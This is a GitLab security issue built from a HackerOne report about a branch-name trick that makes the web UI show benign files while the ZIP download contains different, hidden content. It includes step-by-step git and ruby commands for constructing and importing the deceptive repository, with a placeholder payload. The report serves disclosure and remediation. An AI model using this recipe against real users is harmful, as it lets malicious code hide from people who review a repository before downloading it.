Mismatch between displayed and downloaded files: Web UI and repository download show different branch content.
:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/engineer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.** **[HackerOne report #3505165](https://hackerone.com/reports/3505165)** by `st4nly0n` on 2026-01-09, imported by @katwu: [Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce) ## HackerOne Analyst Summary ## Summary of the issue The researcher found malicious actor can hide malicious code in `refs/heads/main` branch in attacker's project. When the victim visits attacker's project `main` branch, the victim will see normal code via web UI. However, when the victim downloads attacker's project code as zip file, it will contain malicious code. ## Steps to reproduce 1. As the **attacker**, on the **attacker's** machine, run following commands to create git repository, and inject malicious code: ```bash mkdir bare_repo git -C bare_repo/ init --initial-branch=refs/heads/main --bare git clone bare_repo/ clone_repo echo -n '#MALICIOUS PAYLOAD EXECUTED HERE...' > clone_repo/init.sh git -C clone_repo/ add . git -C clone_repo/ commit -m 'Init' git -C clone_repo/ push origin -f HEAD ``` 2. As the **attacker**, run following commands to create new **master** branch, with normal code: ```bash git -C clone_repo/ checkout -b master git -C clone_repo/ update-ref -d HEAD echo -n 'echo "hello world"' > clone_repo/init.sh git -C clone_repo/ add . git -C clone_repo/ commit -m 'Init' git -C clone_repo/ push origin -f HEAD ``` 3. As the **attacker**, run following command to rename **master** to **main**: ```bash mv bare_repo/refs/heads/master bare_repo/refs/heads/main ``` 4. As the **attacker**, run `ruby -run -e httpd bare_repo/ -p 6666` to start git server 5. As the **attacker**, sign in **attacker's** GitLab account -> Import project with URL `http://ATTACKER_GIT_SERVER_HOST:6666`: ![3505165-Step5-attacker-import-project.png](https://h1.sec.gitlab.net/a/35288653-4cc3-46f1-b22d-c2fddd44199d/3505165-Step5-attacker-import-project.png) 6. As the **attacker**, in the project **Repository** setting -> **Branch defaults** -> Change default branch to `main` -> **Save changes**: ![3505165-Step6-attacker-change-default-branch.png](https://h1.sec.gitlab.net/a/daab2476-ab88-46b5-bbe5-6af426f1a843/3505165-Step6-attacker-change-default-branch.png) 7. As the **attacker**, in **Project members** setting, add **victim** as **Developer**: ![3505165-Step7-attacker-add-victim.png](https://h1.sec.gitlab.net/a/2d201508-cac4-4e88-9287-84b1a37457ad/3505165-Step7-attacker-add-victim.png) Note: To avoid exposing PoC to public, the attacker's project is "private". In real attack, the attacker can create "public" project, so that the victim doesn't need to be a project member. Therefore, this step is not needed in the real attack. 8. As the **victim**, sign in **victim's** GitLab account -> Visit **attacker's** project -> Open **init.sh** file. You can see it doesn't contain any malicious code; ![3505165-Step8-victim-see-normal-code.png](https://h1.sec.gitlab.net/a/9b98696a-052e-42cf-8ff3-3575dfd730b3/3505165-Step8-victim-see-normal-code.png) 9. As the **victim**, download **attacker's** project as zip file: ![3505165-Step9-victim-download-zip-code.png](https://h1.sec.gitlab.net/a/09d46de7-cd39-4a88-b9fa-8ee3e6e8fdce/3505165-Step9-victim-download-zip-code.png) 10. As the **victim**, extract file from zip -> Check **init.sh**. You can see it contains malicious code: ![3505165-Step10-victim-see-malicious-code.png](https://h1.sec.gitlab.net/a/6e95b68c-855d-41d1-9cc2-b9958ed33e21/3505165-Step10-victim-see-malicious-code.png) ## Impact statement Malicious actor can hide malicious code in "refs/heads/main" branch in attacker's project, and trick victim to download attacker's project code as zip file which contains malicious code. If you have any questions or concerns about this report, feel free to assign it to `H1 Triage` via the action picker with a comment indicating your request. ## Original Report Description ================== A data inconsistency vulnerability exists in the GitLab web interface. A repository imported with a maliciously crafted branch structure can deceive the system, causing the web interface to display legitimate and harmless file content, while the "download repository" functionality (such as a ZIP file from the web interface) provides the user with files containing altered and potentially malicious content. This occurs because the web interface prioritizes and displays content from one branch (`main`), but the download process prioritizes and packages content from another branch with a forbidden name (`refs/heads/main`), which points to different commits. This discrepancy breaks the fundamental guarantee that what the user sees in the browser is the same as what they will get when downloading the code. Steps To Reproduce: ================== **Perform the steps as the attacking user:** *Note: The attacker's host must have the Ruby interpreter with the webrick gem installed (typically included in Ruby's standard library) to run the HTTP server.* **1.** Create and configure a bare Git repository with an initial branch having a forbidden name: ```bash mkdir bare_repo git -C bare_repo/ init --initial-branch=refs/heads/main --bare ``` **2.** Clone the repository and create an initial commit with malicious content: ```bash git clone bare_repo/ clone_repo echo -n '#MALICIOUS PAYLOAD EXECUTED HERE...' > clone_repo/init.sh git -C clone_repo/ add . git -C clone_repo/ commit -m 'Init' git -C clone_repo/ push origin -f HEAD ``` **3.** Create a new branch (`master`) from the current state, delete it, and rewrite it with benign content: ```bash git -C clone_repo/ checkout -b master git -C clone_repo/ update-ref -d HEAD echo -n 'echo "hello world"' > clone_repo/init.sh git -C clone_repo/ add . git -C clone_repo/ commit -m 'Init' git -C clone_repo/ push origin -f HEAD ``` **4.** Manipulate the internal references of the bare repository to rename the `master` branch to `main`: ```bash mv bare_repo/refs/heads/master bare_repo/refs/heads/main ``` **5.** Update the Git server information and serve it remotely for subsequent import: ```bash git -C bare_repo/ update-server-info ruby -run -e httpd bare_repo/ -p <port> -b <hostname> ``` **6.** Import the public repository from the URL `http://<hostname>:<port>/` into GitLab.com and, in the imported project's settings, change the default branch to `main`. **Perform the following steps as a victim user:** **7.** In the repository imported into GitLab.com, navigate through the web interface to the file section of the `main` branch. It will be observed that the `init.sh` file contains the benign content `echo "hello world"`. **8.** Download the complete repository using the download option provided by the GitLab web interface (for example, the "Download" button as a ZIP file). Upon extracting and reviewing the downloaded `init.sh` file, it will be confirmed that it contains the malicious content from step number 2. **PoC video** ================== The proof-of-concept video shows the victim in the malicious repository: 1) browsing the web interface on the `main` branch and verifying that the `init.sh` file displays the benign content; 2) using the download button in the interface to obtain the repository as a ZIP file; 3) upon extracting and executing the downloaded `init.sh` file, the malicious content from the `refs/heads/main` branch commit is executed, demonstrating the discrepancy between what is viewed and what is downloaded. ![poc.mp4](https://h1.sec.gitlab.net/a/ff3b8ca5-d353-4326-a3e7-d29f7e88f2a0/poc.mp4) **PoC repository** ================== Repository demonstrating the issue: [gitlab.com/user_A/poc-repo](https://gitlab.com/user_A/poc-repo) What is the current *bug* behavior? =========================== 1. **UI Behavior:** When browsing repository files on the main branch through the GitLab web interface, the legitimate and harmless content from the `main` branch is correctly displayed. 2. **Download Behavior:** When a user uses the option to download the complete repository (for example, as a ZIP file) directly from the web interface of the same main branch, the resulting file contains the malicious code from the branch named `refs/heads/main`. 3. **Inconsistency:** There is a critical divergence between the information reviewed in the browser and the data actually obtained in the download, which can lead to the inadvertent execution of malicious code. What is the expected *correct* behavior? =========================== The correct behavior must be consistent across the platform. The content of the files a user sees when browsing the repository in the GitLab web interface **must be identical** to the content of the files received when downloading said repository from the same view and branch. Furthermore, the system must robustly reject the import or creation of branches with forbidden or malformed names (such as `refs/heads/...`) that could exploit Git's internal semantics to create this confusion. Output of checks =========================== This bug happens on GitLab.com #### Impact An attacker can exploit this vulnerability to create a repository that displays legitimate and benign source code in the GitLab web interface, while when downloading it via the official download function, the user receives modified versions of those same files with inserted malicious code. ## Attachments **Warning:** Attachments received through HackerOne, please exercise caution! * [poc.mp4](https://h1.sec.gitlab.net/a/ff3b8ca5-d353-4326-a3e7-d29f7e88f2a0/poc.mp4) ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue